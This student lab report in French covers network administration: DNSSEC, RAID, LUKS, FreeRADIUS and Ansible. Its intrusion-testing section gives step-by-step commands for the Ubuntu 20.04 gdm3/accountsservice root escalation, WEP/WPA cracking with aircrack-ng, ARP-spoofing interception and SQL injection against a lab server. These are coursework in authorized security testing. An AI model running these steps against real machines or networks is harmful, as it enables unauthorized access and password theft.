 $include /etc/bind/piedbleu.site.dnssec/piedbleu.site-zsk.key&lt;br /&gt;
&lt;br /&gt;
Nous n’oublions pas d'incrémenter le numéro version pour que les modifications soient prises en compte.&lt;br /&gt;
&lt;br /&gt;
On signe ensuite les enregistrements de la zone : &lt;br /&gt;
 dnssec-signzone -o piedbleu.site -k piedbleu.site-ksk ../db.piedbleu.site piedbleu.site-zsk&lt;br /&gt;
&lt;br /&gt;
Pour que le fichier signé soit pris en compte, nous modifions le fichier /etc/bind/named.conf.local pour utiliser la zone signée de suffixe .signed :&lt;br /&gt;
&lt;br /&gt;
 zone &amp;quot;piedbleu.site&amp;quot; IN {&lt;br /&gt;
         type master;&lt;br /&gt;
         file &amp;quot;/etc/bind/db.piedbleu.site.signed&amp;quot;;&lt;br /&gt;
         allow-transfer { 217.70.177.40; };&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
La dernière étape consiste à faire communiquer la partie publique de la KSK qui est présente dans le fichier piedbleu.site-ksk.key à Gandi.&lt;br /&gt;
&lt;br /&gt;
 service bind9 restart&lt;br /&gt;
&lt;br /&gt;
Vérification:&lt;br /&gt;
&lt;br /&gt;
Nous vérifions la configuration de notre DNS grâce au site : https://dnssec-analyzer.verisignlabs.com/&lt;br /&gt;
&lt;br /&gt;
[[Fichier:dnssec1.png | 600px]]&lt;br /&gt;
&lt;br /&gt;
L'utilisation de la commande : &lt;br /&gt;
 dnssec-verify -o piedbleu.site db.piedbleu.site.signed&lt;br /&gt;
&lt;br /&gt;
nous donne le résultat suivant:&lt;br /&gt;
 Loading zone 'piedbleu.site' from file 'db.piedbleu.site.signed'&lt;br /&gt;
 Verifying the zone using the following algorithms: RSASHA1.&lt;br /&gt;
 Zone fully signed:&lt;br /&gt;
 Algorithm: RSASHA1: KSKs: 1 active, 0 stand-by, 0 revoked&lt;br /&gt;
                     ZSKs: 1 active, 0 stand-by, 0 revoked&lt;br /&gt;
&lt;br /&gt;
==IPv6==&lt;br /&gt;
&lt;br /&gt;
Afin de pouvoir accéder à notre serveur via IPv6, on ajoute ces lignes dans /etc/bind/db.piedbleu.site&lt;br /&gt;
&lt;br /&gt;
 ns1     IN      AAAA    2001:660:4401:60b2:216:3eff:fefe:c26c&lt;br /&gt;
 www     IN      AAAA    2001:660:4401:60b2:216:3eff:fefe:c26c&lt;br /&gt;
&lt;br /&gt;
Ensuite, on resigne le DNS : &lt;br /&gt;
&lt;br /&gt;
 dnssec-signzone -o piedbleu.site -k piedbleu.site-ksk ../db.piedbleu.site piedbleu.site-zsk&lt;br /&gt;
&lt;br /&gt;
Et on redémarre bind9.&lt;br /&gt;
&lt;br /&gt;
=Tests d’intrusion=&lt;br /&gt;
&lt;br /&gt;
==Exploitation de failles du système : Ubuntu 20.04 en *exclusivité* ==&lt;br /&gt;
&lt;br /&gt;
Plutôt que d'utiliser un ancien noyau Linux et des outils comme Metasploit, je vous propose en  &amp;lt;span style=&amp;quot;color:red&amp;quot;&amp;gt; '''exclusivité dans le département IMA''' &amp;lt;/span&amp;gt; l'exploitation de plusieurs vulnérabilités dans la dernière version de Ubuntu, la 20.04.1, kernel 5.6. Ces exploits ont été publiés le 10/11/2020 et aujourd'hui, à l'heure où j'écris ces lignes nous sommes le 11/11/2020. En ce jour férié, en parcourant l'actualité IT, j'ai aperçu un article fort intéressant, que je vais reprendre ici pour obtenir les droits administrateurs sur une machine Linux.&lt;br /&gt;
&lt;br /&gt;
1) J'installe Ubuntu 20.04 dans une VM.&lt;br /&gt;
&lt;br /&gt;
2) Par défaut la session fait partie du groupe sudo, je fais donc un compte utilisateur standard pour mener à bien mon exploit, sinon c'est de la triche...&lt;br /&gt;
&lt;br /&gt;
 sudo adduser u1&lt;br /&gt;
 su u1&lt;br /&gt;
 id&lt;br /&gt;
   uid=1001(u1) gid=1001(u1) groupes=1001(u1)&lt;br /&gt;
&lt;br /&gt;
3) On fait un DOS (denial of service) sur accounts-daemon, pour ce faire on fait d'abord le lien symbolique suivant : &lt;br /&gt;
&lt;br /&gt;
 ln -s /dev/zero ~/.pam_environment&lt;br /&gt;
&lt;br /&gt;
Puis on va dans Settings &amp;gt; Region and Language &amp;gt; Language, et on change de langue. On se rend vite compte que le CPU tourne à 100%. En faisant la commande : &lt;br /&gt;
&lt;br /&gt;
 top&lt;br /&gt;
&lt;br /&gt;
On se rend compte que accounts-daemon utilise presque toutes les ressources CPU. On récupère son PID, puis on lui envoie le signal SIGSTOP.&lt;br /&gt;
&lt;br /&gt;
 kill -SIGSTOP 1098&lt;br /&gt;
&lt;br /&gt;
Maintenant, on peut supprimer le lien symbolique qui a causé le DOS pour ne pas que l'exploit se relance à chaque nouvelle session.&lt;br /&gt;
&lt;br /&gt;
 rm ~/.pam_environment&lt;br /&gt;
&lt;br /&gt;
Ici on va faire crasher le accounts-daemon, mais seulement une fois que l'on s'est déconnecté, on lance donc cette tâche en arrière-plan après 10 secondes. &lt;br /&gt;
 &lt;br /&gt;
 nohup bash -c &amp;quot;sleep 10s; kill -SIGSEGV 1098; kill -SIGCONT 1098&amp;quot;&lt;br /&gt;
&lt;br /&gt;
On se déconnecte de notre session.&lt;br /&gt;
&lt;br /&gt;
Le menu &amp;quot;Welcome&amp;quot; de Ubuntu apparaît après quelques temps d'attente !! C'est le menu d'installation de Ubuntu qui est censé venir seulement la 1ere fois que l'on installe l'OS sur notre machine. On va donc être en mesure de configurer une nouvelle session qui aura les droits administrateurs sur la machine (et ce, sans supprimer les autres comptes). Un nouvel utilisateur apparaît sur la machine ! &lt;br /&gt;
&lt;br /&gt;
 whoami&lt;br /&gt;
   pwn&lt;br /&gt;
 id&lt;br /&gt;
   uid=1002(pwn) gid=1002(pwn) groupes=1002(pwn), 27(sudo)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Explication : '''&lt;br /&gt;
&lt;br /&gt;
En changeant la langue dans &amp;quot;Region and Language&amp;quot;, le programme accountsservice daemon (accounts-daemon) va lire le fichier .pam_environment situé dans le home. Cependant nous avons fait un lien symbolique malicieux pointant sur /dev/zero. Le programme va donc tourner en boucle infini car il n'arrivera jamais à finir de lire /dev/zero.&lt;br /&gt;
&lt;br /&gt;
La deuxième faille réside dans le fait que accounts-daemon abaisse ses privilèges root en privilège standard seulement quand il lit le .pam_environment. Or il est enfermé dans une boucle infini grâce à notre lien malicieux. On va donc pouvoir lui envoyer les signaux SIGSTOP, SIGSEGV, SIGCONT sans avoir de droit root. En fait à la base l'abaissement de privilège est une protection pour empêcher de lire dans /etc/shadow par exemple... &lt;br /&gt;
&lt;br /&gt;
Ensuite, on se déconnecte de notre session en lançant en arrière-plan le kill -SIGSEGV de accounts-daemon. Sauf que le gestionnaire de session gdm3 demande à accounts-daemon combien de session il y a afin de nous permettre de choisir laquelle on va utiliser pour se connecter. Accounts-daemon étant hors service, gdm3 va lire la valeur par défaut de priv-&amp;gt;have_existing_user_accounts, qui est : &amp;quot;false&amp;quot;. Gdm3 pense donc qu'il n'y a aucune session sur la machine et va lancer gnome-initial-setup.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Note 1 : ''' La faille semble avoir été rapidement patchée.&lt;br /&gt;
&lt;br /&gt;
'''Note 2 : ''' Les failles exploitées lors de l'élévation de privilège : &lt;br /&gt;
&lt;br /&gt;
accountsservice denial of service (GHSL-2020-187, GHSL-2020-188 / CVE-2020-16126, CVE-2020-16127)&lt;br /&gt;
&lt;br /&gt;
gdm3 privilege escalation due to unresponsive accounts-daemon (GHSL-2020-202 / CVE-2020-16125)&lt;br /&gt;
&lt;br /&gt;
'''Version du noyau et des parquets : '''&lt;br /&gt;
 Ubuntu 20.04.1 LTS, kernel 5.6&lt;br /&gt;
 gdm3, version 3.36.3-0ubuntu0.20.04.1&lt;br /&gt;
 accountsservice, version 0.6.55-0ubuntu12~20.04.1&lt;br /&gt;
&lt;br /&gt;
''' Source : ''' &lt;br /&gt;
&lt;br /&gt;
''How to get root on Ubuntu 20.04 by pretending nobody’s /home'', Kevin Backhouse, November 10 2020&lt;br /&gt;
&lt;br /&gt;
https://securitylab.github.com/research/Ubuntu-gdm3-accountsservice-LPE&lt;br /&gt;
&lt;br /&gt;
==Cassage de clef WEP d’un point d’accès WiFi==&lt;br /&gt;
&lt;br /&gt;
Nous commençons tout d’abord par installer le paquet aircrack :&lt;br /&gt;
&lt;br /&gt;
 apt-get install aircrack-ng&lt;br /&gt;
&lt;br /&gt;
À partir de là, nous listons la liste des interfaces wifi disponibles : &lt;br /&gt;
&lt;br /&gt;
 airmon-ng&lt;br /&gt;
&lt;br /&gt;
[[Fichier:screen1.png|600px]]&lt;br /&gt;
&lt;br /&gt;
On remarque que notre carte wifi est désignée par le nom wlp1s0mon.&lt;br /&gt;
&lt;br /&gt;
Nous passons ensuite notre interface en mode monitor, pour écouter le trafic wifi aux alentours.&lt;br /&gt;
&lt;br /&gt;
 airmon-ng start wlp1s0mon&lt;br /&gt;
&lt;br /&gt;
On peut ensuite lancer le scan des réseaux wifi environnants :&lt;br /&gt;
&lt;br /&gt;
 airodump-ng --encrypt wep wlp1s0mon&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Screen2.png|600px]]&lt;br /&gt;
&lt;br /&gt;
On repère le point d’accès qui correspond au réseau wifi qui nous intéresse (cracotte 08). on récupère le bssid : 04:DA:D2:9C:50:57 , et le chanel : 3.&lt;br /&gt;
&lt;br /&gt;
On capture ensuite les paquets émis par le point  d’accès cible :&lt;br /&gt;
&lt;br /&gt;
 airodump-ng --write mon_fichier --channel 3 --bssid 04:DA:D2:9C:50:57 wlp1s0mon&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Screen3.png|600px]]&lt;br /&gt;
&lt;br /&gt;
On se concentre sur l’indicateur #Data qui permet de savoir le nombre de paquets data collectés. Une fois que ce nombre atteint 30000, on lance dans un autre terminal le crack de la clé :&lt;br /&gt;
&lt;br /&gt;
 aircrack-ng -z mon_fichier-01.cap&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Screen4.png|600px]]&lt;br /&gt;
&lt;br /&gt;
On voit que le programme a réussi à trouver la clé (message « Key Found »).&lt;br /&gt;
&lt;br /&gt;
==Cassage de mot de passe WPA-PSK par force brute==&lt;br /&gt;
&lt;br /&gt;
Nous allons dans cette partie continuer à utiliser aircrack. Les premières étapes sont similaires à celles pour le cassage d'une clé WEP. Nous commençons par lister les interfaces wifi disponibles (airmon-ng), puis on passe l'interface en mode monitor (airmon-ng start wlp1s0mon).&lt;br /&gt;
&lt;br /&gt;
On lance ensuite le scan des réseaux wifi WPA PSK environnants :&lt;br /&gt;
&lt;br /&gt;
 airodump-ng --encrypt wpa-psk wlp1s0mon&lt;br /&gt;
&lt;br /&gt;
[[Fichier:scankracotte.png || 600px]]&lt;br /&gt;
&lt;br /&gt;
Cette commande nous permet d'obtenir des informations supplémentaires sur les réseaux wifi, comme le BSSID, le Channel, l'AUTH (le mode d'authentification), ainsi que l'ESSID. &lt;br /&gt;
&lt;br /&gt;
Nous utilisons alors le BSSID ainsi que le Channel du réseau wifi kracotte03 avec la commande suivante:&lt;br /&gt;
&lt;br /&gt;
 airodump-ng wlp1s0mon --bssid 00:14:1B:60:8C:22 --ch 3 -w capture&lt;br /&gt;
&lt;br /&gt;
Cette commande nous permet d'obtenir un handshake. Nous la laissons tourner en boucle jusqu'à ce que nous obtenions ce fameux handshake.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Handshake1.png | 600px]]&lt;br /&gt;
&lt;br /&gt;
Maintenant que nous avons obtenu le handshake, nous allons faire une attaque par force brute. Pour cela, nous générons tout d'abord toutes les combinaisons possibles de mots de passe de taille 8, composés uniquement de chiffre. &lt;br /&gt;
&lt;br /&gt;
Pour construire ce dictionnaire, nous utilisons la commande crunch (que nous avons préalablement installée):&lt;br /&gt;
&lt;br /&gt;
 crunch 8 8 -o 12345678 &amp;gt; motdepasse.txt&lt;br /&gt;
&lt;br /&gt;
Nous spécifions ici la longueur minimum et maximum du mot de passe (8), les caractères à utiliser (012345678), puis nous effectuons une redirection vers motdepasse.txt.&lt;br /&gt;
&lt;br /&gt;
Ensuite, nous effectuons l'attaque par force brute avec la commande suivante : &lt;br /&gt;
&lt;br /&gt;
 aircrak-ng -a2 -b 00:14:1B:60:8C:22 -w motdepasse.txt *.cap&lt;br /&gt;
&lt;br /&gt;
Comme la méthode force brute prend du temps, nous lançons l'attaque la nuit, en ssh sur notre zabeth. Quatre heures plus tard, nous obtenons le mot de passe de la kracotte : &lt;br /&gt;
&lt;br /&gt;
[[Fichier:WPA-6.png|600px]]&lt;br /&gt;
&lt;br /&gt;
==Attaque de type &amp;quot;homme au milieu&amp;quot; par usurpation ARP==&lt;br /&gt;
&lt;br /&gt;
Tout d'abord, on installe dsniff sur l'eepc. Ensuite on le transforme en routeur : &lt;br /&gt;
&lt;br /&gt;
 apt install dsniff&lt;br /&gt;
 export PATH=/sbin:/usr/sbin:$PATH&lt;br /&gt;
 echo 1 &amp;gt; /proc/sys/net/ipv4/ip_forward&lt;br /&gt;
&lt;br /&gt;
Ensuite on lance arpspoof pour placer l'eepc entre la zabeth et le routeur : &lt;br /&gt;
&lt;br /&gt;
 arpspoof -i enp4s0 -t 172.26.145.60 172.26.145.254&lt;br /&gt;
&lt;br /&gt;
Ensuite, on trouve une page HTTP avec un petit formulaire POST. La page n'étant pas sécurisé par TLS ou SSL, les données seront échangées en clair. On ouvre Wireshark dans l'eepc et dans la zabeth on se rend sur un site vulnérable (par exemple : http://fabricarium-old.polytech-lille.fr).&lt;br /&gt;
&lt;br /&gt;
En tentant de se connecter, on se rend compte que la requête POST a bien été transmise à l'eepc qui l'a redirigé vers le routeur : &lt;br /&gt;
&lt;br /&gt;
[[Fichier:Mitm-pra.png|600px]]&lt;br /&gt;
&lt;br /&gt;
==Intrusion sur un serveur d’application Web==&lt;br /&gt;
&lt;br /&gt;
Tout d'abord, nous nous rendons sur honey.plil.info. Nous apercevons un formulaire, que l'on exploite par injection SQL : &lt;br /&gt;
&lt;br /&gt;
 ' OR 1 = 1 --&lt;br /&gt;
&lt;br /&gt;
D'un autre côté nous effectuons un nmap sur le serveur afin d'avoir une idée des services que l'on pourra exploiter.&lt;br /&gt;
&lt;br /&gt;
 nmap -T4 -A honey.plil.info&lt;br /&gt;
&lt;br /&gt;
On obtient : &lt;br /&gt;
&lt;br /&gt;
[[Fichier:Nmap-g8-2021 1.2.png|600px]]&lt;br /&gt;
&lt;br /&gt;
Nous essayons de faire un ssh avec les id trouvés par injections SQL... sans succès.&lt;br /&gt;
&lt;br /&gt;
De retour sur le site honey.plil.info, nous remarquons la présence d'une seconde page avec formulaire : honey.plil.info/phpmyadmin. Mais nous n'avons pas le mot de passe. L'injection SQL ne semble pas fonctionner.&lt;br /&gt;
&lt;br /&gt;
De retour sur la 1ere page, on se connecte sur honey.plil.info avec les identifiants récupérés par injection SQL. En exploitant bien comme il faut les fonctionnalités du site, on arrive à récupérer le mot de passe de notre seconde page.&lt;br /&gt;
&lt;br /&gt;
On se connecte donc sur cette seconde page, et après quelques recherches dans la base de données, on retrouve un identifiant et un mot de passe.&lt;br /&gt;
&lt;br /&gt;
On utilise cette découverte pour se connecter sur le serveur en SSH.&lt;br /&gt;
&lt;br /&gt;
Cependant, cet utilisateur n'est pas root. Il peut néanmoins lire le fichier des mots de passe. On récupère ainsi le mot de passe haché de l'administrateur root.&lt;br /&gt;
&lt;br /&gt;
Pour avoir mot de passe en clair, on réalise une attaque par force brute avec dictionnaire.&lt;br /&gt;
&lt;br /&gt;
Nous construisons ce dictionnaire avec crunch en reprenant un indice donné dans l'énoncé.&lt;br /&gt;
&lt;br /&gt;
Quelques temps plus tard... John the Ripper nous donne le mot de passe root !&lt;br /&gt;
&lt;br /&gt;
Nous nous connectons sur le serveur en tant que root et nous y laissons la trace de notre passe &amp;quot;I_was_here_IMA_G8&amp;quot; : &lt;br /&gt;
&lt;br /&gt;
[[Fichier:Hack-honey.png|600px]]&lt;br /&gt;
&lt;br /&gt;
=Réalisations=&lt;br /&gt;
&lt;br /&gt;
==Sécurisation de données : RAID 5 logiciel==&lt;br /&gt;
&lt;br /&gt;
Tout d'abord, on crée 3 partitions virtuelles : &lt;br /&gt;
&lt;br /&gt;
 lvcreate -L1G -n piedbleu-raid1 storage&lt;br /&gt;
&lt;br /&gt;
Ensuite, on modifie le fichier : /etc/xen/piedbleu.cfg, puis on redémarre la VM pour réaliser les actions qui suivent.&lt;br /&gt;
&lt;br /&gt;
Tout d'abord, on installe le paquet mdadm.&lt;br /&gt;
 apt instal mdadm&lt;br /&gt;
&lt;br /&gt;
Ensuite, on construit notre volume RAID 5, et on s'assure qu'il fonctionne à chaque démarrage.&lt;br /&gt;
 mdadm --create /dev/md0 --level=5 --raid-devices=3 /dev/xvda5 /dev/xvda6 /dev/xvda7 &lt;br /&gt;
 mdadm --monitor --daemonise /dev/md0&lt;br /&gt;
&lt;br /&gt;
On formate notre volume RAID.&lt;br /&gt;
 mkfs.ext4 /dev/md0 &lt;br /&gt;
&lt;br /&gt;
On rajoute cette ligne dans le fstab : &lt;br /&gt;
   /dev/md0   /raid5   ext4   defaults   0   2&lt;br /&gt;
&lt;br /&gt;
Pour finir, on peuple notre volume RAID.&lt;br /&gt;
 mkdir /raid5&lt;br /&gt;
 mount -a&lt;br /&gt;
 touch /raid5/test&lt;br /&gt;
&lt;br /&gt;
RAID 5 : on doit avoir minimum 3 disques, mais on peut survivre seulement à la perte d'un seul disque.&lt;br /&gt;
On peut donc supprimer une partition et toujours avoir accès à nos fichiers.&lt;br /&gt;
&lt;br /&gt;
==Chiffrement de données==&lt;br /&gt;
&lt;br /&gt;
Pour chiffrer la partition de notre clé USB et pouvoir y écrire des fichiers, on exécute les commandes suivantes : &lt;br /&gt;
&lt;br /&gt;
 fdisk -l # on repère la clé USB&lt;br /&gt;
 fdisk /dev/sdb # on formate la clé en une seule partition&lt;br /&gt;
 cryptsetup luksFormat /dev/sdb1 # on chiffre l'unique partition de la clé USB&lt;br /&gt;
 cryptsetup luksOpen /dev/sdb1 myusbkey # on déchiffre la partition&lt;br /&gt;
 mkfs.ext4 /dev/mapper/myusbkey # on formatte la partition en EXT4&lt;br /&gt;
&lt;br /&gt;
Ensuite, on monte la clé USB, et on la peuple : &lt;br /&gt;
&lt;br /&gt;
 mkdir /mnt/USB &lt;br /&gt;
 mount -t ext4 /dev/mapper/myusbkey /mnt/USB&lt;br /&gt;
 touch /mnt/USB/mytestfile.txt&lt;br /&gt;
&lt;br /&gt;
Une fois que l'on a fini, on démonte le système de fichier proprement : &lt;br /&gt;
&lt;br /&gt;
 umount /mnt/USB&lt;br /&gt;
 cryptsetup luksClose myusbkey&lt;br /&gt;
&lt;br /&gt;
==Sécurisation WiFi par WPA2-EAP ==&lt;br /&gt;
&lt;br /&gt;
===FreeRADIUS===&lt;br /&gt;
&lt;br /&gt;
Tout d'abord, on configure le serveur FreeRADIUS sur notre VM.&lt;br /&gt;
&lt;br /&gt;
On installe le paquet :&lt;br /&gt;
 apt install freeradius&lt;br /&gt;
&lt;br /&gt;
Ensuite, on ajoute un périphérique client (point d'accès WiFi) dans le fichier /etc/freeradius/3.0/clients.conf :&lt;br /&gt;
&lt;br /&gt;
 client 10.60.100.10/24 {&lt;br /&gt;
 	shortname = Piedbleu&lt;br /&gt;
 	secret = pasglop&lt;br /&gt;
 }&lt;br /&gt;
&lt;br /&gt;
On ajoute un utilisateur FreeRADIUS &amp;quot;pifou&amp;quot; dans le fichier de configuration /etc/freeradius/3.0/users : &lt;br /&gt;
&lt;br /&gt;
 pifou Cleartext-Password := &amp;quot;pasglop&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Pour finir, on configure l'authentification PEAP-MSCHAPv2.&lt;br /&gt;
&lt;br /&gt;
On modifie le fichier /etc/freeradius/3.0/mods-enabled/eap :&lt;br /&gt;
&lt;br /&gt;
 eap{&lt;br /&gt;
 ...&lt;br /&gt;
 default_eap_type = peap&lt;br /&gt;
 ...&lt;br /&gt;
 }&lt;br /&gt;
&lt;br /&gt;
Puis on modifie le fichier /etc/freeradius/3.0/mods-enabled/mschap : &lt;br /&gt;
&lt;br /&gt;
 use_mppe = yes&lt;br /&gt;
 require_encryption = yes&lt;br /&gt;
 require_strong = yes&lt;br /&gt;
 with_ntdomain_hack = yes&lt;br /&gt;
&lt;br /&gt;
===Point d'accès WiFi===&lt;br /&gt;
&lt;br /&gt;
Ensuite, on configure le point d'accès WiFi.&lt;br /&gt;
&lt;br /&gt;
 ssh root@10.60.100.10 -c aes128-cbc&lt;br /&gt;
&lt;br /&gt;
 aaa authentication login eap_group1 group radius_group8&lt;br /&gt;
 radius-server host 193.48.57.181 auth-port 1812 acct-port 1813 key pasglop&lt;br /&gt;
 aaa group server radius radius_group8&lt;br /&gt;
 server 193.48.57.181 auth-port 1812 acct-port 1813&lt;br /&gt;
 exit&lt;br /&gt;
&lt;br /&gt;
Mise en place du ssid 'Piedbleu' et intégration dans le vlan 308 : &lt;br /&gt;
&lt;br /&gt;
 dot11 ssid Piedbleu&lt;br /&gt;
 vlan 308&lt;br /&gt;
 authentication open eap eap_group8&lt;br /&gt;
 authentication network-eap eap_group8&lt;br /&gt;
 authentication key-management wpa&lt;br /&gt;
 Mbssid Guest-mode&lt;br /&gt;
 exit&lt;br /&gt;
&lt;br /&gt;
Liaison interface wifi dot11radio0 avec le vlan 308 et méthode encryption: &lt;br /&gt;
&lt;br /&gt;
 interface Dot11Radio0&lt;br /&gt;
 Mbssid&lt;br /&gt;
 encryption vlan 308 mode ciphers aes-ccm tkip&lt;br /&gt;
 ssid Piedbleu&lt;br /&gt;
 exit&lt;br /&gt;
&lt;br /&gt;
Encapsulation: &lt;br /&gt;
&lt;br /&gt;
 int dot11radio0.8&lt;br /&gt;
 encapsulation dot1q 308&lt;br /&gt;
 bridge-group 8&lt;br /&gt;
 exit&lt;br /&gt;
 int Gi0.8&lt;br /&gt;
 encapsulation dot1q 308&lt;br /&gt;
 bridge-group 8&lt;br /&gt;
 exit&lt;br /&gt;
&lt;br /&gt;
En n'oubliant pas de démarrer l'interface  :&lt;br /&gt;
&lt;br /&gt;
 int dot11radio0&lt;br /&gt;
 no shutdown&lt;br /&gt;
 end&lt;br /&gt;
 write&lt;br /&gt;
&lt;br /&gt;
Ping du point d'accès vers notre VM : &lt;br /&gt;
&lt;br /&gt;
[[Fichier:Freeradius-ping.png|600px]]&lt;br /&gt;
&lt;br /&gt;
On observe notre SSID &amp;quot;Piedbleu&amp;quot; :&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Freeradius-ssid.png|600px]]&lt;br /&gt;
&lt;br /&gt;
On s'y connecte avec notre téléphone tout en lançant la commande : &lt;br /&gt;
&lt;br /&gt;
 freeradius -X&lt;br /&gt;
&lt;br /&gt;
===DHCP===&lt;br /&gt;
&lt;br /&gt;
'''6509E'''&lt;br /&gt;
&lt;br /&gt;
 ssh admin@100.64.0.1 -oKexAlgorithms=+diffie-hellman-group1-sha1 -c aes128-cbc&lt;br /&gt;
&lt;br /&gt;
 ip dhcp pool groupe8&lt;br /&gt;
 dns 193.48.57.181&lt;br /&gt;
 network 10.60.108.0 255.255.255.0&lt;br /&gt;
 default-router 10.60.108.1&lt;br /&gt;
 exit&lt;br /&gt;
 ip dhcp excluded-address 10.60.108.0 10.60.108.99&lt;br /&gt;
 ip dhcp excluded-address 10.60.108.150 10.60.108.255&lt;br /&gt;
 write&lt;br /&gt;
 exit&lt;br /&gt;
 sh ip dhcp binding&lt;br /&gt;
&lt;br /&gt;
'''C9200'''&lt;br /&gt;
&lt;br /&gt;
 ssh admin@10.60.100.2&lt;br /&gt;
&lt;br /&gt;
 ip dhcp pool groupe8&lt;br /&gt;
 dns 193.48.57.181&lt;br /&gt;
 network 10.60.108.0 255.255.255.0&lt;br /&gt;
 default-router 10.60.108.2&lt;br /&gt;
 exit&lt;br /&gt;
 ip dhcp excluded-address 10.60.108.0 10.60.108.49&lt;br /&gt;
 ip dhcp excluded-address 10.60.108.100 10.60.108.255&lt;br /&gt;
 exit&lt;br /&gt;
 write&lt;br /&gt;
 sh ip dhcp binding&lt;br /&gt;
&lt;br /&gt;
===Mascarade===&lt;br /&gt;
&lt;br /&gt;
'''6509E'''&lt;br /&gt;
&lt;br /&gt;
 int vlan 308&lt;br /&gt;
 ip nat inside&lt;br /&gt;
&lt;br /&gt;
 access-list 108 permit ip 10.60.108.0 0.0.0.255 any&lt;br /&gt;
 ip nat inside source list 108 interface Loopback0 overload&lt;br /&gt;
&lt;br /&gt;
=Ferme de serveurs Web=&lt;br /&gt;
&lt;br /&gt;
==Architecture générale de la ferme==&lt;br /&gt;
&lt;br /&gt;
===Configuration VM Capbreton===&lt;br /&gt;
&lt;br /&gt;
Dans /etc/xen/capbreton.cfg, on ajoute une interface réseau : &lt;br /&gt;
&lt;br /&gt;
 vif = [ 'bridge=IMA5sc, mac=00:16:3E:FE:C2:6C',&lt;br /&gt;
         'bridge=bridgeStudents, mac=00:16:3E:FE:C2:6D',&lt;br /&gt;
 ]&lt;br /&gt;
&lt;br /&gt;
On redémarre ensuite la VM.&lt;br /&gt;
&lt;br /&gt;
Dans /etc/network/interfaces, on configure notre nouvelle interface : &lt;br /&gt;
&lt;br /&gt;
 auto eth1&lt;br /&gt;
 iface eth1 inet static&lt;br /&gt;
   address 192.168.42.8 &lt;br /&gt;
   netmask 255.255.255.0&lt;br /&gt;
&lt;br /&gt;
Pour finir, dans /etc/apt/apt.conf.d/01proxy on commente la 1ère ligne.&lt;br /&gt;
&lt;br /&gt;
 #Acquire::http::Proxy &amp;quot;http://proxy.polytech-lille.fr:3128&amp;quot;;&lt;br /&gt;
&lt;br /&gt;
===Configuration VM Chassiron===&lt;br /&gt;
&lt;br /&gt;
Dans /etc/network/interfaces, on configure notre interface : &lt;br /&gt;
&lt;br /&gt;
 auto eth0&lt;br /&gt;
 iface eth0 inet static&lt;br /&gt;
   address 192.168.42.22&lt;br /&gt;
   netmask 255.255.255.0 &lt;br /&gt;
   gateway 192.168.42.8&lt;br /&gt;
&lt;br /&gt;
Ensuite, on commente la 1ère ligne de /etc/apt/apt.conf.d/01proxy :&lt;br /&gt;
&lt;br /&gt;
 #Acquire::http::Proxy &amp;quot;http://proxy.polytech-lille.fr:3128&amp;quot;;&lt;br /&gt;
&lt;br /&gt;
Puis on modifie le fichier /etc/resolv.conf : &lt;br /&gt;
&lt;br /&gt;
 domain plil.info&lt;br /&gt;
 nameserver 192.168.42.8&lt;br /&gt;
&lt;br /&gt;
===Mascarade===&lt;br /&gt;
&lt;br /&gt;
On modifie le fichier /etc/systcl.conf :&lt;br /&gt;
&lt;br /&gt;
 net.ipv4.ip_forward=1&lt;br /&gt;
&lt;br /&gt;
Ensuite, on lance les commandes : &lt;br /&gt;
&lt;br /&gt;
 apt install iptables-persistent&lt;br /&gt;
&lt;br /&gt;
 echo 1 &amp;gt; /proc/sys/net/ipv4/conf/all/forwarding&lt;br /&gt;
&lt;br /&gt;
 iptables -P FORWARD DROP&lt;br /&gt;
 iptables -A FORWARD -j ACCEPT -d 192.168.42.22/32&lt;br /&gt;
 iptables -A FORWARD -j ACCEPT -s 192.168.42.22/32&lt;br /&gt;
 iptables -P FORWARD DROP&lt;br /&gt;
 iptables -t nat -A POSTROUTING -j SNAT --to-source 193.48.57.181 -s 192.168.42.22/32&lt;br /&gt;
&lt;br /&gt;
Pour tester : &lt;br /&gt;
&lt;br /&gt;
 ping 192.168.42.22 #sur la VM capreton&lt;br /&gt;
 ping 192.168.42.8  #sur la VM chassiron&lt;br /&gt;
 ping 8.8.8.8       #sur la VM chassiron&lt;br /&gt;
 apt update         #sur la VM chassiron&lt;br /&gt;
&lt;br /&gt;
===Clés SSH===&lt;br /&gt;
&lt;br /&gt;
On génère une paire de clés sur notre VM principale via la commande suivante (on fait 3x &amp;quot;entrée&amp;quot;) : &lt;br /&gt;
&lt;br /&gt;
 ssh-keygen -b 2048&lt;br /&gt;
&lt;br /&gt;
Ensuite, on propage notre clé publique sur toutes les VM secondaires : &lt;br /&gt;
 &lt;br /&gt;
 for i in $(cat liste_ip.txt); do echo ssh-copy-id root@&amp;quot;$i&amp;quot;; done&lt;br /&gt;
&lt;br /&gt;
Avec liste_ip.txt un fichier texte contenant les IP des VM secondaires.&lt;br /&gt;
&lt;br /&gt;
Attention pour que cela fonctionne, il faut décommenter dans toutes les VM secondaires :&lt;br /&gt;
&lt;br /&gt;
 PermitRootLogin yes&lt;br /&gt;
&lt;br /&gt;
dans le fichier /etc/ssh/sshd_config.&lt;br /&gt;
&lt;br /&gt;
===Installation d'Ansible ===&lt;br /&gt;
&lt;br /&gt;
===Ansible rôle MOTD===&lt;br /&gt;
&lt;br /&gt;
Nous souhaitons dans cette partie configurer /etc/motd à l’aide d’ansible sur notre machine &lt;br /&gt;
Nous nous inspirons pour cette partie de la documentation d’ansible en ligne.Nous créons notre playbook dans lequel nous faisons le liens entre le rôle en question (configuration de motd) et notre vm secondaire sur chassiron :&lt;br /&gt;
 fichier playbook.yml&lt;br /&gt;
&lt;br /&gt;
 Hosts : vmperso&lt;br /&gt;
 Roles:&lt;br /&gt;
       -{ role : adriagalin.motd }&lt;br /&gt;
&lt;br /&gt;
Nous exécutons ensuite notre playbook.yml :&lt;br /&gt;
 ansible-playbook playbook.yml&lt;br /&gt;
&lt;br /&gt;
Nous obtenir le résultat voulu dans le fichier /etc/motd de notre vm située sur chassiron :&lt;br /&gt;
&lt;br /&gt;
===Ansible rôle NTP===&lt;br /&gt;
&lt;br /&gt;
==Installation de Docker==&lt;br /&gt;
&lt;br /&gt;
